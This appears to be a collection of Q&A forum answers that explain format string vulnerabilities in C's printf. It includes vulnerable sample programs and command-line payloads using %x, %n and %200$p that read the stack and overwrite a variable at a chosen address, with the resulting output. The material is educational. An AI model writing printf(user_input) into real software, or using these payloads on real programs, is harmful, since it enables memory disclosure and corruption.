You can find a pretty decent information (Format string attack) about vulnerabilities in print when no using validations properly.
I played a little with it and when running the program with like this:
./format "Bob %x %x %x %x %x %x %x %x%n"
Will cause the following print:
x=1, sizeof(x): 4, &x = 0x7fffa9c36e14, sizeof((p):8,&p = 0x7fffa9c36e18,
Bob 81688000 81464ab0 3 81688048 3 a9c36f08 400410 a9c36f00
X equals: 59
If you replace the %n with %x you will be able to see the address of the variable x. Because %x reads from the process memory and %n writes to the process memory I was able to change the data inside of x (59 is the number of characters up to %n when printing)
It is possible to have issues with printf(), by using as format string a user-provided argument, i.e. printf(arg) instead of printf("%s", arg). I have seen it done way too often. Since the caller did not push extra arguments, a string with some spurious % specifiers can be used to read whatever is on the stack, and with %n some values can be written to memory (%n means: "the next argument is an int *; go write there the number of characters emitted so far).
However, I find it more plausible that the article you quote contains a simple typographical mistake, and really means sprintf(), not printf().
(I could also argue that apart from gets(), there is no inherently vulnerable C function; only functions which need to be used with care. The so-called "safe" replacements like snprintf() don't actually solve the problem; they hide it by replacing a buffer overflow with a silent truncation, which is less noisy but not necessarily better.)
In addition to the answer by @Tom, I would also like to guide you to the OWASP code review guidelines, where some issues on using printf() are highlighted and this answer to a similar question on cs.stackexchange website.
Videos
I think that the paper provides its printf() examples in a somewhat confusing way because the examples use string literals for format strings, and those don't generally permit the type of vulnerability being described. The format string vulnerability as described here depends on the format string being provided by user input.
So the example:
printf ("\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|");
Might better be presented as:
/*
* in a real program, some user input source would be copied
* into the `outstring` buffer
*/
char outstring[80] = "\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|";
printf(outstring);
Since the outstring array is an automatic, the compiler will likely put it on the stack. After copying the user input to the outstring array, it'll look like the following as 'words' on the stack (assuming little endian):
outstring[0c] // etc...
outstring[08] 0x30252e78 // from "x.%0"
outstring[04] 0x3830255f // from "_%08"
outstring[00] 0x08480110 // from the ""\x10\x01\x48\x08"
The compiler will put other items on the stack as it sees fit (other local variables, saved registers, whatever).
When the printf() call is about to be made, the stack might look like:
outstring[0c] // etc...
outstring[08] 0x30252e78 // from "x.%0"
outstring[04] 0x3830255f // from "_%08"
outstring[00] 0x08480110 // from the ""\x10\x01\x48\x08"
var1
var2
saved ECX
saved EDI
Note that I'm completely making those entries up - each compiler will use the stack in different ways (so a format string vulnerability has to be custom crafted for a particular exact scenario. In other words, you won't always use 5 dummy format specifiers like in this example - as the attacker you'd need to figure out how many dummies the particular vulnerability would need.
Now to call printf(), the argument (the address of outstring) is pushed on to the stack and printf() is called, so the argument area of the stack looks like:
outstring[0c] // etc...
outstring[08] 0x30252e78 // from "x.%0"
outstring[04] 0x3830255f // from "_%08"
outstring[00] 0x08480110 // from the ""\x10\x01\x48\x08"
var1
var2
var3
saved ECX
saved EDI
&outstring // the one real argument to `printf()`
However, printf doesn't really know anything about how many arguments have been placed on the stack for it - it goes by the format specifiers it finds in the format string (the one argument it's 'sure' to get). So printf() gets the format string argument and starts processing it. When it gets to the 1st "%08x" that will correspond to the 'saved EDI' in my example, then next "%08x" will print the
saved ECX' and so on. So the "%08x" format specifiers are just eating up data on the stack until it gets back to the string the attacker was able to input. Determining how many of those are needed is something an attacker would do by a kind of trial and error (probably by a test run that has a whole slew of "%08x" formats until he can 'see' where the format string starts).
Anyway, when printf() gets to processing the "%s" format specifier, it has consumed all the stack entries up to where the outstring buffer resides. The "%s" specifier treats its stack entry as a pointer, and the string that the user has put into that buffer has been carefully crafted to have a binary representation of 0x08480110, so printf() will print out whatever is at that address as an ASCIIZ string.
You have 6 format specifiers (5 lots of %08x and one of %s), but you do not provide values for those format specifiers. You immediately fall into the realm of undefined behaviour - anything could happen and there is no wrong answer.
However, in the normal course of events, the values passed to printf() would have been stored on the stack, so the code in printf() reads values off the stack as if the extra values had been passed. The function return address is on the stack, too. There is no guarantee that I can see that the value 0x08480110 will actually be produced. This sort of attack very much depends on the the specific program and faulty function call, and you might well get a very different value. The example code is most likely written assuming a 32-bit Intel (little-endian) CPU - rather than a 64-bit or big-endian CPU.
Adapting the code fragment, compiling it into a complete program, ignoring the compilation warnings, using a 32-bit compilation on MacOS X 10.6.7 with GCC 4.2.1 (XCode 3), the following code:
#include <stdio.h>
static void somefunc(void)
{
printf("AAAAAAAAAAAAAAAA.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.|%s|\n");
}
int main(void)
{
char buffer[160] =
"abcdefghijklmnopqrstuvwxyz012345"
"abcdefghijklmnopqrstuvwxyz012345"
"abcdefghijklmnopqrstuvwxyz012345"
"abcdefghijklmnopqrstuvwxyz012345"
"abcdefghijklmnopqrstuvwxyz01234";
somefunc();
return 0;
}
produces the following result:
AAAAAAAAAAAAAAAA.0x000000A0.0xBFFFF11C.0x00001EC4.0x00000000.0x00001E22.0xBFFFF1C8.0x00001E5A.|abcdefghijklmnopqrstuvwxyz012345abcdefghijklmnopqrstuvwxyz012345abcdefghijklmnopqrstuvwxyz012345abcdefghijklmnopqrstuvwxyz012345abcdefghijklmnopqrstuvwxyz01234|
As you can see, I eventually 'found' the string in the main program from the printf() statement. When I compiled it in 64-bit mode, I got a core dump instead. Both results are perfectly correct; the program invokes undefined behaviour, so anything the program does is valid. If you're curious, search for 'nasal demons' for more information on undefined behaviour.
And get used to experimenting with these sorts of issues.
Another variation
#include <stdio.h>
static void somefunc(void)
{
char format[] =
"AAAAAAAAAAAAAAAA.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X\n"
".0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X\n"
".0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X\n";
printf(format, 1);
}
int main(void)
{
char buffer[160] =
"abcdefghijklmnopqrstuvwxyz012345"
"abcdefghijklmnopqrstuvwxyz012345"
"abcdefghijklmnopqrstuvwxyz012345"
"abcdefghijklmnopqrstuvwxyz012345"
"abcdefghijklmnopqrstuvwxyz01234";
somefunc();
return 0;
}
This produces:
AAAAAAAAAAAAAAAA.0x00000001.0x00000099.0x8FE467B4.0x41000024.0x41414141
.0x41414141.0x41414141.0x2E414141.0x30257830.0x302E5838.0x38302578.0x78302E58
.0x58383025.0x2578302E.0x2E583830.0x30257830.0x2E0A5838.0x30257830.0x302E5838
You might recognize the format string in the hex output - 0x41 is capital A, for example.
The 64-bit output from that code is both similar and different:
AAAAAAAAAAAAAAAA.0x00000001.0x00000000.0x00000000.0xFFE0082C.0x00000000
.0x41414141.0x41414141.0x2578302E.0x30257830.0x38302578.0x58383025.0x0A583830
.0x2E583830.0x302E5838.0x78302E58.0x2578302E.0x30257830.0x38302578.0x38302578
Hi fellas, I am practicing my skills on buffer overflows and similar vulnerabilities on C language.
I have the following program that replicates a format string vulnerability, where a buffer is placed on a printf function without a format string. Here is my example code:
#include <stdio.h>
#include <string.h>
int main (int argc, char **argv) {
char buf[80];
strcpy (buf, argv[1]);
printf (buf);
return 0;
}Output:
$ ./a.out 42 42 $ ./a.out "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x" 0xffffd194 0xffffce38 0x080aee88 0x30257830 0x30207838 0x38302578 0x78302078 0x78383025
I am trying to understand why the exact memory addresses are printed once executing the binary. Using gdb, I have put a breakpoint just before the printf function and printed the stack.
Breakpoint 1, main (argc=2, argv=0xffffcfa4) at printf.c:9 9 printf (buf); (gdb) i r esp esp 0xffffcdf0 0xffffcdf0 (gdb) x/12xw 0xffffcdf0 0xffffcdf0: 0xffffce00 0xffffd194 0xffffce38 0x080aee88 0xffffce00: 0x30257830 0x30207838 0x38302578 0x78302078 0xffffce10: 0x78383025 0x25783020 0x20783830 0x30257830 (gdb) p &buf $1 = (char (*)[80]) 0xffffce00
As you can see, on the top of my stack is the address of the buf. The next 8 words are the ones that printed when the binary is executed.
Why is that? Why printing the buf returns the data starting from address 0xffffcdf4??
You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):
int main(int argc, char **argv)
{
char text[1024];
static int some_value = -72;
strcpy(text, argv[1]); /* ignore the buffer overflow here */
printf("This is how you print correctly:\n");
printf("%s", text);
printf("This is how not to print:\n");
printf(text);
printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
return(0);
}
The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:
Reading from arbitrary memory addresses
[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.
It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:
./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]
Writing to arbitrary memory addresses
You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:
./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]
We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:
./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]
There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.
Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.
It is interesting that no-one has mentioned the n$ notation supported by POSIX. If you can control the format string as the attacker, you can use notations such as:
"%200$p"
to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).
However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.
* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.